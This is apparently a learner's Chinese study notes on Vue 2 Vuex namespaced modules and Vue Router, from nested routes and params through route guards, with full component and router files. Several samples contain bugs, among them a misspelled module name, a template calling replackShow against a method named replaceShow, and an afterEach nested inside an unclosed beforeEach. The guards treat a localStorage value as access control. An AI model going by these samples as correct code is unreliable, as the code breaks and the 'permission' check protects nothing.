(1)目的:让代码更好维护,让多种数据分类更明确

(2)修改store.js:

const countAbout = {
	namespaced:true,//开启命名空间
	state:{x:1},
    mutations: { ... },
    actions: { ... },
  	getters: {
    	bigSum(state){
       		return state.sum * 10
    	}
  	}
}

const personAbout = {
  	namespaced:true,//开启命名空间
  	state:{ ... },
  	mutations: { ... },
  	actions: { ... }
}

const store = new Vuex.Store({
  	modules: {
    	countAbout,
    	personAbout
  	}
})

(3)开启命名空间后,组件中读取state数据:

//方式一:自己直接读取
this.$store.state.personAbout.list
//方式二:借助mapState读取:
...mapState('countAbout',['sum','school','subject']),

(4) 开启命名空间后,组件中读取getters数据:

//方式一:自己直接读取
this.$store.getters['personAbout/firstPersonName']
//方式二:借助mapGetters读取:
...mapGetters('countAbout',['bigSum'])

 (5)开启命名空间后,组件中调用dispatch:

//方式一:自己直接dispatch
this.$store.dispatch('personAbout/addPersonWang',person)
//方式二:借助mapActions:
...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

(6)开启命名空间后,组件中调用commit:

//方式一:自己直接commit
this.$store.commit('personAbout/ADD_PERSON',person)
//方式二:借助mapMutations:
...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),

  • src/store/index.js
//该文件用于创建Vuex中最为核心的store
//引入Vuex
import Vue from 'vue'
import Vuex from 'vuex'

import countOptions from './count'
import personOptions from './person'
//使用Vuex插件
Vue.use(Vuex)



//创建并暴露store
export default new Vuex.Store({
  modules: {
    countAbout: countOptions,
    personAbout: personOptions
  }
})


  • src/store/count.js
//求和功能相关的配置
export default{
   //开启命名空间
  namespaced: true,  
  actions: {
    jiaOdd(context, value) {
      if (context.state.sum % 2)
        context.commit('JIA', value)
    },
    jiaWait(context, value) {
      setTimeout(() => {
        context.commit('JIA', value)
      }, 500)
    }
  },
  mutations: {
    JIA(state, value) {
      //  console.log('mutations中的JIA被调用')
      state.sum += value
    },
    JIAN(state, value) {
      //  console.log('mutations中的JIAN被调用')
      state.sum -= value
    },
  },
  state: {
    sum: 0,  //当前的和
    name: '玛卡巴卡',
    age: '18',
  },
  getters: {
    bigSum(state) {
      return state.sum * 10
    }
  }
}
  • src/store/person.js
import axios from "axios"
import { nanoid } from "nanoid"

//人员管理功能相关的配置
export default {
    namespaced: true,   //开启命名空间
    actions: {
      addPersonWang(context,value) {
        if(value.name.indexOf('王') === 0){
          context.commit('ADD_PERSON',value)
        }else {
          alert('添加的人必须姓王!')
        }
      },
      addPersonServer(context){
         axios.get('http://api.uixsj.cn/hitokoto/get?type=social').then(
          response => {
             context.commit('ADD_PERSON',{id:nanoid(),name:response.data})
          },
          error => {
            alert(error,message)

          }
         )
      }
    },
  
    mutations: {
      ADD_PERSON(state, personObj) {
        //  console.log('mutations中的ADD_PERSON被调用')
        state.personList.unshift(personObj)
      }
    },
    state: {
      personList: [
        { id: '001', name: '张三' }
      ]
    },
    getters: {
      firstPersonName(state) {
        return state.personList[0].name
      }
    }
  }
  •  src/components/Count.vue
<template>
    <div>
        <h1>当前求和为:{{sum}}</h1>
        <h1>当前求和放大10倍为:{{bigSum}}</h1>
        <h3>我叫{{name}},今年{{age}}岁</h3>
        <h3 style="color:red">Person组件的总人数是:{{personList.length}}</h3>
        <!-- v-model.number="n"将收集到的数据强制进行nubmer类型转换 -->
        <select v-model.number="n">
            <!-- value加:,:value="1"就会当做js表达式去解析,就是纯粹是数字 1 2 3  -->
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
        </select>
        <button @click="increment(n)">+</button>
        <button @click="decrement(n)">-</button>
        <button @click="incrementOdd(n)">当前求和为奇数再加</button>
        <button @click="incrementWait(n)">等一等再加</button>

    </div>
</template>

<script>
import { mapState, mapGetters, mapMutations, mapActions } from 'vuex'
export default {
    name: 'Count',
    data() {
        return {
            n: 1,    //用户选择的数字

        }
    },
    methods: {

        //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations
        ...mapMutations('countAbout', { increment: 'JIA', decrement: 'JIAN' }),
        // ...mapMutations(['JIA','JIAN']),

        //借助mapActions生成对应的方法,方法中会调用commit去联系actions
        ...mapActions('personAbout', { incrementOdd: 'jiaOdd', incrementWait: 'jiaWait' })
        // ...mapActions(['jiaOdd','jiaWait'])s

    },
    computed: {
        // 借助mapState生成计算属性(对象写法)
        //...mapState({sum:'sum',name:'name',age:'age'}),
        // 借助mapState生成计算属性(数组写法)
        ...mapState('countAbout', ['sum', 'name', 'age']),
        ...mapState('perosonAbout', ['personList']),
        ...mapGetters('countAbout',['bigSum'])
    }
}
</script>

<style lang="css">
button {
    margin-left: 5px;
}
</style>
  •   src/components/Count.vue
<template>
    <div>
        <h1>当前求和为:{{sum}}</h1>
        <h1>当前求和放大10倍为:{{bigSum}}</h1>
        <h3>我叫{{name}},今年{{age}}岁</h3>
        <h3 style="color:red">Person组件的总人数是:{{personList.length}}</h3>
        <!-- v-model.number="n"将收集到的数据强制进行nubmer类型转换 -->
        <select v-model.number="n">
            <!-- value加:,:value="1"就会当做js表达式去解析,就是纯粹是数字 1 2 3  -->
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
        </select>
        <button @click="increment(n)">+</button>
        <button @click="decrement(n)">-</button>
        <button @click="incrementOdd(n)">当前求和为奇数再加</button>
        <button @click="incrementWait(n)">等一等再加</button>

    </div>
</template>

<script>
import { mapState, mapGetters, mapMutations, mapActions } from 'vuex'
export default {
    name: 'Count',
    data() {
        return {
            n: 1,    //用户选择的数字
        }
    },

    methods: {
        //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations
        ...mapMutations('countAbout', { increment: 'JIA', decrement: 'JIAN' }),
        // ...mapMutations(['JIA','JIAN']),

        //借助mapActions生成对应的方法,方法中会调用commit去联系actions
        ...mapActions('countAbout', { incrementOdd: 'jiaOdd', incrementWait: 'jiaWait' })
        // ...mapActions(['jiaOdd','jiaWait'])s
    },
    
    computed: {
        // 借助mapState生成计算属性(对象写法)
        //...mapState({sum:'sum',name:'name',age:'age'}),
        // 借助mapState生成计算属性(数组写法)
        ...mapState('countAbout', ['sum', 'name', 'age']),
        ...mapState('personAbout', ['personList']),
        ...mapGetters('countAbout',['bigSum'])
    }
}
</script>

<style lang="css">
button {
    margin-left: 5px;
}
</style>
  •    src/components/Person.vue
<template>
  <div>
    <h1>人员列表</h1>
    <h3 style="color:red">Count组件的求和为:{{sum}}</h3>
    <h3>列表中第一个人的名字是:{{firstPersonName}}</h3>
     <input type="text" placeholder="请输入名字" v-model="name">
     <button @click="add">添加</button>
     <button @click="addWang">添加一个姓王的人</button>
     <button @click="addPersonServer">添加一个人,名字随机</button>
     <ul>
        <li v-for="p in personList" :key="p.id">{{p.name}}</li>
     </ul>
  </div>
</template>

<script>
import {nanoid} from 'nanoid'
// import {mapState} from 'vuex'
export default {
    name:'Person',
    data(){
        return {
            name:''
        }
    },
    computed:{
        personList(){
            return this.$store.state.personAbout.personList
        },
        // ...mapState('personAbout',['personList'])
        sum(){
            return this.$store.state.countAbout.sum
        },
        firstPersonName(){
            return this.$store.getters['personAbout/firstPersonName']
        }
    },
    methods:{
        add(){
            const personObj = {id:nanoid(),name:this.name}
            this.$store.commit('personAbout/ADD_PERSON',personObj)
            this.name=''
        },
        addWang(){
            const personObj = {id:nanoid(),name:this.name}
            this.$store.dispatch('personAbout/addPersonWang',personObj)
            this.name=''
        },
        addPersonServer(){
            const personObj = {id:nanoid(),name:this.name}
            this.$store.dispatch('personAbout/addPersonServer')
        }
    }


}
</script>

<style>

</style>

 效果:

八、Vue Router路由管理器

1、相关理解

1.1 vue-router的理解

vue的一个插件库,专门用来实现SPA应用

1.2 对SPA应用的理解

(1)单页 Web 应用(single page web application,SPA)

(2)整个页面只有一个完整的页面

(3)点击页面中的导航链接不会刷新页面,只会做页面的局部更新

(4)数据需要通过ajax请求获取

1.3  路由分类

1.3.1 什么是路由?

 (1)一个路由就是一组映射关系(key-value)

(2)key为路径,value可能是function或component

1.3.2 路由分类

(1)后端路由:

        ① 理解:value是function,用于处理客户端提交的请求。

        ② 工作过程:服务器接收到一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据。

(2)前端路由:

        ① 理解:value是component,用于展示页面内容。

        ② 工作过程:当浏览器的路径改变时,对应的组件就会显示。

2、基本路由

下载vue-router:npm i vue-router

  •  src/router/index.js
//该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'

//引入组件
import About from '../compoents/About'
import Home from '../compoents/Home'


//创建并暴露一个路由器
export default  new VueRouter({
     routes:[
        {
            path:'./about',
            component:About
        },
        {
            path:'./home',
            component:Home
        },
     ]
})
  • src/main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入
import VueRouter from 'vue-router'


//引入路由器
import router from './router/index'
//关闭Vue的生产提示
Vue.config.productionTip = false

//应用插件
Vue.use(VueRouter)


//创建vm
new Vue({
    el:'#app',
    router,
    render : h => h(App)  
})
  • src/App.vue
<template>
  <div>
    <div class="row">
      <Banner/>
    </div>
    <div class="row">
      <div class="col-xs-2 col-xs-offset-2">
        <div class="list-group">
          <!-- 原始html中我们使用a便签实现页面的跳转 -->
          <!-- <a class="list-group-item" href="./about">About</a>
          <a class="list-group-item active" href="./home">Home</a> -->


           <!-- Vue中借助router-link标签实现路由的切换 -->
          <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
          <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
        </div>
      </div>
      <div class="col-xs-6">
        <div class="panel">
          <div class="panel-body">
           <!-- 指定组件的呈现位置 -->
           <router-view></router-view>
          </div>
        </div>
      </div>
    </div>

  </div>
</template>

<script>
import Banner from './components/Banner.vue'
export default {
    name: "App",
      components: { Banner }
}
</script>

  • src/compoents/Home.vue
<template>
    <div>
        <h2>我是Home的内容</h2>
    </div>
  </template>
  
  <script>
  export default {
      name:'Home'
  
  }
  </script>
  
  <style>
  
  </style>
  • src/compoents/About.vue
<template>
  <div>
    <h2>我是About的内容</h2>
  </div>
</template>

<script>
export default {
    name:'About'

}
</script>

<style>

</style>

3、几个注意事项

(1)路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。

(2)通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。

(3)每个组件都有自己的$route属性,里面存储着自己的路由信息。

(4)真个应用只有一个router,可以通过组件的$router属性获取到。

4、多级路由

(1)配置路由规则,使用children配置项:

routes:[
	{
		path:'/about',
		component:About,
	},
	{
		path:'/home',
		component:Home,
		children:[ //通过children配置子级路由
			{
				path:'news', //此处一定不要写:/news
				component:News
			},
			{
				path:'message', //此处一定不要写:/message
				component:Message
			}
		]
	}
]

 (2)跳转(要写完整的路径)

<router-link to="/home/news">News</router-link>

  • src/pages/Home.vue
<template>
    <div>
        <h2>Home组件内容</h2>
		<div>
			<ul class="nav nav-tabs">
				<li>
					<router-link class="list-group-item" active-class="active" to="/home/news"> 
                        News
    				</router-link>
				</li>
				<li>
					<router-link class="list-group-item" active-class="active" to="/home/message">
                        Message
    				</router-link>
				</li>
			</ul>
			<router-view></router-view>
		</div>
    </div>
</template>

<script>
    export default {
        name:'Home'
    }
</script>
  • src/pages/News.vue
<template>
    <ul>
        <li>news001</li>
        <li>news002</li>
        <li>news003</li>
    </ul>
</template>

<script>
    export default {
        name:'News'
    }
</script>
  • src/pages/Message.vue
<template>
    <ul>
        <li>
            <a href="/message1">message001</a>&nbsp;&nbsp;
        </li>
        <li>
            <a href="/message2">message002</a>&nbsp;&nbsp;
        </li>
        <li>
            <a href="/message/3">message003</a>&nbsp;&nbsp;
        </li>
    </ul>
</template>

<script>
    export default {
        name:'Message'
    }
</script>
  • src/router/index.js
//该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import Home from '../pages/Home'
import About from '../pages/About'
import News from '../pages/News'
import Message from '../pages/Message'

//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home,
            children:[
                {
                    path:'news',
                    component:News
                },
                {
                    path:'message',
                    component:Message
                }
            ]
        }
    ]
})

效果:

5、路由的query参数

(1)传递参数

<!-- 跳转并携带query参数,to的字符串写法 -->
<router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
				
<!-- 跳转并携带query参数,to的对象写法 -->
<router-link :to="{
	path:'/home/message/detail',
	query:{
		id:666,
        title:'你好'
	}
}">跳转</router-link>

(2)接收参数

$route.query.id
$route.query.title

  • src/router.index.js
//该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import Home from '../pages/Home'
import About from '../pages/About'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home,
            children:[
                {
                    path:'news',
                    component:News
                },
                {
                    path:'message',
                    component:Message,
                    children:[
                        {
                            path:'detail',
                            component:Detail,
                        }
                    ]
                }
            ]
        }
    ]
})
  • src/page/Detail.vue
<template>
  <ul>
    <li>消息编号:{{$route.query.id}}</li>
    <li>消息标题:{{$route.query.title}}</li>
  </ul>
</template>

<script>
export default {
    name:'Detail'

}
</script>

<style>

</style>
  • src/page/Message.vue
<template>
    <div>
        <ul>
        <li v-for="m in messageList" :key="m.id">
            <!-- 跳转路由并携带query参数,to的字符串写法 -->
            <!-- <router-link :to="`/home/message/detail?id=${m.id}&${m.title}`"> -->
            
            <!-- 跳转路由并携带query参数,to的对象写法 -->
            <router-link :to="{
                path:'/home/message/detail',
                query:{
                    id:m.id,
                    title:m.title
                }

            }">
                {{m.title}}
            </router-link>
        </li>
        <router-view></router-view>
    </ul>
    </div>
</template>

<script>
    export default {
        name:'Message',
        data(){
            return {
                messageList:[
                    {
                        id:'001',title:'消息001'
                    },
                    {
                        id:'002',title:'消息002'
                    },
                    {
                        id:'003',title:'消息003'
                    }
                ]
            }
        }
    }
</script>

 效果:

6、命名路由

(1)作用:可以简化路由的跳转

(2)如何使用:

         ① 给路由器命名:

{
	path:'/demo',
	component:Demo,
	children:[
		{
			path:'test',
			component:Test,
			children:[
				{
                    name:'hello' //给路由命名
					path:'welcome',
					component:Hello,
				}
			]
		}
	]
}

       ② 简化跳转 :

<!--简化前,需要写完整的路径 -->
<router-link to="/demo/test/welcome">跳转</router-link>

<!--简化后,直接通过名字跳转 -->
<router-link :to="{name:'hello'}">跳转</router-link>

<!--简化写法配合传递参数 -->
<router-link 
	:to="{
		name:'hello',
		query:{
		    id:666,
            title:'你好'
		}
	}"
>跳转</router-link>

  • src/router/index.js
//该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import Home from '../pages/Home'
import About from '../pages/About'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            name:'guanyu',
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home,
            children:[
                {
                    path:'news',
                    component:News
                },
                {
                    path:'message',
                    component:Message,
                    children:[
                        {
                            //name配置项为路由命名
                            name:'xiangqing',
                            path:'detail',
                            component:Detail,
                        }
                    ]
                }
            ]
        }
    ]
})
  • src/page/Message.vue
<template>
    <div>
        <ul>
        <li v-for="m in messageList" :key="m.id">
            <!-- 跳转路由并携带query参数,to的字符串写法 -->
            <!-- <router-link :to="`/home/message/detail?id=${m.id}&${m.title}`"> -->
            
            <!-- 跳转路由并携带query参数,to的对象写法 -->
            <router-link :to="{
                // path:'/home/message/detail',
                name:'xiangqing',
                query:{
                    id:m.id,
                    title:m.title
                }

            }">
                {{m.title}}
            </router-link>
        </li>
        <router-view></router-view>
    </ul>
    </div>
</template>

<script>
    export default {
        name:'Message',
        data(){
            return {
                messageList:[
                    {
                        id:'001',title:'消息001'
                    },
                    {
                        id:'002',title:'消息002'
                    },
                    {
                        id:'003',title:'消息003'
                    }
                ]
            }
        }
    }
</script>

7、路由的params参数

(1)配置路由,声明接收params参数:

{
	path:'/home',
	component:Home,
	children:[
		{
			path:'news',
			component:News
		},
		{
			component:Message,
			children:[
				{
					name:'xiangqing',
					path:'detail/:id/:title', //使用占位符声明接收params参数
					component:Detail
				}
			]
		}
	]
}

 (2)传递参数:

<!-- 跳转并携带params参数,to的字符串写法 -->
<router-link :to="/home/message/detail/666/你好">跳转</router-link>
				
<!-- 跳转并携带params参数,to的对象写法 -->
<router-link 
	:to="{
		name:'xiangqing',
		params:{
		   id:666,
            title:'你好'
		}
	}"
>跳转</router-link>

特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

 (3)接收参数:

$route.params.id
$route.params.title

  •  src/router/index.js
//该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import Home from '../pages/Home'
import About from '../pages/About'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            name:'guanyu',
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home,
            children:[
                {
                    path:'news',
                    component:News
                },
                {
                    path:'message',
                    component:Message,
                    children:[
                        {
                            //name配置项为路由命名
                            name:'xiangqing',
                            path:'detail/:id/:title',  //使用占位符声明接受parmas参数
                            component:Detail,
                        }
                    ]
                }
            ]
        }
    ]
})
  • src/pages/Message.vue
<template>
    <div>
        <ul>
        <li v-for="m in messageList" :key="m.id">
            <!-- 跳转路由并携带params参数,to的字符串写法 -->
            <!-- <router-link :to="`/home/message/detail/${m.id}/${m.title}`"> -->
            
            <!-- 跳转路由并携带params参数,to的对象写法 -->
            <router-link :to="{
                // path:'/home/message/detail',
                name:'xiangqing',
                params:{
                    id:m.id,
                    title:m.title
                }

            }">
                {{m.title}}
            </router-link>
        </li>
        <router-view></router-view>
    </ul>
    </div>
</template>

<script>
    export default {
        name:'Message',
        data(){
            return {
                messageList:[
                    {
                        id:'001',title:'消息001'
                    },
                    {
                        id:'002',title:'消息002'
                    },
                    {
                        id:'003',title:'消息003'
                    }
                ]
            }
        }
    }
</script>
  • src/pages/Detail.vue
<template>
  <ul>
    <li>消息编号:{{$route.params.id}}</li>
    <li>消息标题:{{$route.params.title}}</li>
  </ul>
</template>

<script>
export default {
    name:'Detail'

}
</script>

<style>

</style>

8、路由的props配置

作用:让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props(route){
		return {
			id:route.query.id,
			title:route.query.title
		}
	}
}

  • src/pages/Message.vue
<template>
    <div>
        <ul>
        <li v-for="m in messageList" :key="m.id">
            <!-- 跳转路由并携带params参数,to的字符串写法 -->
            <!-- <router-link :to="`/home/message/detail/${m.id}/${m.title}`"> -->
            
            <!-- 跳转路由并携带params参数,to的对象写法 -->
            <router-link :to="{
                // path:'/home/message/detail',
                name:'xiangqing',
                params:{
                    id:m.id,
                    title:m.title
                }

            }">
                {{m.title}}
            </router-link>
        </li>
        <router-view></router-view>
    </ul>
    </div>
</template>

<script>
    export default {
        name:'Message',
        data(){
            return {
                messageList:[
                    {
                        id:'001',title:'消息001'
                    },
                    {
                        id:'002',title:'消息002'
                    },
                    {
                        id:'003',title:'消息003'
                    }
                ]
            }
        }
    }
</script>
  • src/router/index.js
//该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import Home from '../pages/Home'
import About from '../pages/About'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            name:'guanyu',
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home,
            children:[
                {
                    path:'news',
                    component:News
                },
                {
                    path:'message',
                    component:Message,
                    children:[
                        {
                            //name配置项为路由命名
                            name:'xiangqing',
                            path:'detail/:id/:title',  //使用占位符声明接受parmas参数
                            component:Detail,
                            // props的第一种写法,值为对象。该对象中的所有key-value都会一props的形式传给Detail组件。
                            //因传递的是死数据,所以很少使用
                            // props:{a:1,b:'hello'}


                            //props的第二种写法,值为布尔值。
                            // 若布尔值为真,就会把该路由组件收到的所有params参数,以props的形式传给Detail组件。
                            // props:true


                            // //props的第三种写法,值为函数
                            props($route){
                                return{
                                    id:$route.params.id,
                                    title:$route.params.title
                                }
                            }


                        }
                    ]
                }
            ]
        }
    ]
})
  • src/pages/Detail.vue
<template>
  <ul>
    <li>消息编号:{{id}}</li>
    <li>消息标题:{{title}}</li>
  </ul>
</template>

<script>
export default {
    name:'Detail',
    // props:['a','b']
    props:['id','title'],
    // computed:{
    //   id(){
    //     return this.$route.params.id
    //   },
    //   title(){
    //     return this.$route.params.title
    //   }
    // }

}
</script>

<style>

</style>

9、路由跳转的replace方法

<route-link>的replace属性

(1)作用:控制路由跳转时操作浏览器历史记录的模式

(2)浏览器的历史记录有两种写入方式:分别为push和replace,push是追加历史记录,replace是替换当前记录。路由跳转时候默认为push。

(3)如何开启replace模式:

<router-link replace  .....>News</router-link>

10、编程式路由导航

(1)作用:不借助<router-link>实现路由跳转,让路由跳转更加灵活

(2)具体编码:

this.$router.push({
	name:'xiangqing',
    params:{
        id:xxx,
        title:xxx
    }
})

this.$router.replace({
	name:'xiangqing',
    params:{
        id:xxx,
        title:xxx
    }
})
this.$router.forward() //前进
this.$router.back() //后退
this.$router.go() //可前进也可后退

  •  src/pages/Message.vue
<template>
    <div>
        <ul>
            <li v-for="m in messageList" :key="m.id">
                <!-- 跳转路由并携带params参数,to的字符串写法 -->
                <!-- <router-link :to="`/home/message/detail/${m.id}/${m.title}`"> -->

                <!-- 跳转路由并携带params参数,to的对象写法 -->
                <router-link :to="{
                    // path:'/home/message/detail',
                    name:'xiangqing',
                    params:{
                        id:m.id,
                        title:m.title
                    }
                }">
                    {{m.title}}
                </router-link>
                <button @click="pushShow(m)">push查看</button>
                <button @click="replackShow(m)">replace查看</button>
            </li>
            <router-view></router-view>
        </ul>
    </div>
</template>

<script>
export default {
    name: 'Message',
    data() {
        return {
            messageList: [
                {
                    id: '001', title: '消息001'
                },
                {
                    id: '002', title: '消息002'
                },
                {
                    id: '003', title: '消息003'
                }
            ]
        }
    },
    methods: {
        pushShow(m) {
            this.$router.push({
                name: 'xiangqing',
                params: {
                    id: m.id,
                    title: m.title
                }
            })
        },

        replaceShow(m) {
            this.$router.replace({
                name: 'xiangqing',
                params: {
                    id: m.id,
                    title: m.title
                }
            })
        }
    }
}
</script>
  • src/router/index.js
//该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import Home from '../pages/Home'
import About from '../pages/About'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            name:'guanyu',
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home,
            children:[
                {
                    path:'news',
                    component:News
                },
                {
                    path:'message',
                    component:Message,
                    children:[
                        {
                            //name配置项为路由命名
                            name:'xiangqing',
                            path:'detail/:id/:title',  //使用占位符声明接受parmas参数
                            component:Detail,
                            // props的第一种写法,值为对象。该对象中的所有key-value都会一props的形式传给Detail组件。
                            //因传递的是死数据,所以很少使用
                            // props:{a:1,b:'hello'}


                            //props的第二种写法,值为布尔值。
                            // 若布尔值为真,就会把该路由组件收到的所有params参数,以props的形式传给Detail组件。
                            // props:true


                            // //props的第三种写法,值为函数
                            props($route){
                                return{
                                    id:$route.params.id,
                                    title:$route.params.title
                                }
                            }


                        }
                    ]
                }
            ]
        }
    ]
})
  •  src/pages/Detail.vue
<template>
  <ul>
    <li>消息编号:{{id}}</li>
    <li>消息标题:{{title}}</li>
  </ul>
</template>

<script>
export default {
    name:'Detail',
    props:['id','title'],

}
</script>

<style>

</style>

 效果:

11、缓存路由组件

(1)作用:让不展示的路由组件保持挂载,不被销毁

(2)具体编码:

//缓存一个路由组件
<keep-alive include="News"> //include中写想要缓存的组件名,不写表示全部缓存
    <router-view></router-view>
</keep-alive>

//缓存多个路由组件
<keep-alive :include="['News','Message']"> 
    <router-view></router-view>
</keep-alive>

12、activated和deactivated

(1)activated和deactivated是路由组件所独有的两个钩子,用于捕获路由组件的激活状态

(2)具体使用:

        ① activated 路由组件被激活时触发

        ② deactivated 路由组件失活时触发

  • src/pages/News.vue
<template>
    <ul>
        <li :style="{opacity}">欢迎学习Vue</li>
        <li>news001<input type="text"></li>
        <li>news002<input type="text"></li>
        <li>news003<input type="text"></li>
    </ul>
</template>

<script>
export default {
    name: 'News',
    data() {
        return {
            opacity: 1
        }
    },

    // beforeDestroy(){
    //     clearInterval(this.timer)
    // },

    // mounted() {
    //     this.timer = setInterval(() => {
    //         this.opacity -= 0.1
    //         if (this.opacity <= 0) this.opacity = 1
    //     })
    // }

    //激活
    activated(){
        console.log('New组件激活了');
        this.timer = setInterval(() => {
            console.log('@')
            this.opacity -= 0.1
            if (this.opacity <= 0) this.opacity = 1
        },16)
    },

    //失活
    deactivated(){
        console.log('New组件失活了');
        clearInterval(this.timer)
    }

}
</script>

 效果:

13、路由守卫

(1)作用:对路由进行权限控制

(2)分类:全局守卫、独享守卫、组件内路由守卫

(3)全局守卫

//全局前置守卫:初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
	console.log('beforeEach',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
			next() //放行
		}else{
			alert('暂无权限查看')
		}
	}else{
		next() //放行
	}
})

//全局后置守卫:初始化时执行、每次路由切换后执行
router.afterEach((to,from) => {
	console.log('afterEach',to,from)
	if(to.meta.title){ 
		document.title = to.meta.title //修改网页的title
	}else{
		document.title = 'vue_test'
	}
})

(4)独享守卫

beforeEnter(to,from,next){
	console.log('beforeEnter',to,from)
    if(localStorage.getItem('school') === 'atguigu'){
        next()
    }else{
        alert('暂无权限查看')
    }
}

(5) 组件内守卫

//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {...},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {...},

1.1 全局路由守卫

  • src/router/index.js
//该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import Home from '../pages/Home'
import About from '../pages/About'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router =  new VueRouter({
    routes: [
        {
            name: 'guanyu',
            path: '/about',
            component: About,
            meta:{title:'关于'}
        },
        {
            name: 'zhuye',
            path: '/home',
            component: Home,
            meta:{title:'主页'},
            children: [
                {
                    name:'xinwen',
                    path: 'news',
                    component: News,
                    meta:{isAuth:true,title:'新闻'}
                },
                {
                    name: 'xiaoxi',
                    path: 'message',
                    component: Message,
                    meta:{isAuth:true,title:'信息'},
                    children: [
                        {
                            meta:{isAuth:true,title:'详情'},
                            name: 'xiangqing',
                            path: 'detail/:id/:title',  //使用占位符声明接受parmas参数
                            component: Detail,
                            props($route) {
                                return {
                                    id: $route.params.id,
                                    title: $route.params.title
                                }
                            }


                        }
                    ]
                }
            ]
        }
    ]
})

//全局前置路由守卫——初始化的时候被调用、每次路由切换之前被调用
// router.beforeEach((to,from,next)=> {
//   console.log('前置路由守卫',to,from)
//   if(to.path === '/home/news' || to.path === '/home/message'){
//     if(localStorage.getItem('school') === 'xixi') {
//         next()
//       }else{
//         alert('学校名不对,无权限查看!!!')
//       }
//   }else{
//    next()
//   }
  router.beforeEach((to,from,next)=> {
    console.log('前置路由守卫',to,from)
    if(to.meta.isAuth){   //判断是否需要整权
      if(localStorage.getItem('school') === 'xixi') {
          next()
        }else{
          alert('学校名不对,无权限查看!!!')
        }
    }else{
     next()
    }



//全局后置路由守卫——初始化的时候被调用,每次路由切换之后被调用
router.afterEach((to,from)=>{
    console.log('后置路由守卫',to,from)
    document.title = to.meta.title || '玛卡巴卡'
})

})
export default router

1.2 独享路由守卫

  • src/router/index.js
//该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import Home from '../pages/Home'
import About from '../pages/About'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router =  new VueRouter({
    routes: [
        {
            name: 'guanyu',
            path: '/about',
            component: About,
            meta:{title:'关于'}
        },
        {
            name: 'zhuye',
            path: '/home',
            component: Home,
            meta:{title:'主页'},
            children: [
                {
                    name:'xinwen',
                    path: 'news',
                    component: News,
                    meta:{isAuth:true,title:'新闻'},
                    //独享守卫
                    beforeEnter: (to, from, next) => {
                        console.log('独享路由守卫',to,from)
                        if(localStorage.getItem('school') === 'xixi'){
                            next()
                        }else{
                            alert('暂无查看权限')
                        }
                    }
                },
                {
                    name: 'xiaoxi',
                    path: 'message',
                    component: Message,
                    meta:{isAuth:true,title:'信息'},
                    children: [
                        {
                            meta:{isAuth:true,title:'详情'},
                            name: 'xiangqing',
                            path: 'detail/:id/:title',  //使用占位符声明接受parmas参数
                            component: Detail,
                            props($route) {
                                return {
                                    id: $route.params.id,
                                    title: $route.params.title
                                }
                            }


                        }
                    ]
                }
            ]
        }
    ]
})

//全局前置路由守卫——初始化的时候被调用、每次路由切换之前被调用




//全局后置路由守卫——初始化的时候被调用,每次路由切换之后被调用
router.afterEach((to,from)=>{
    console.log('后置路由守卫',to,from)
    document.title = to.meta.title || '玛卡巴卡'
})


export default router

1.3 组件内路由守卫

  • src/pages/About.vue
<template>
  <h2>我是About组件的内容</h2>
</template>

<script>

export default {
  name: 'About',

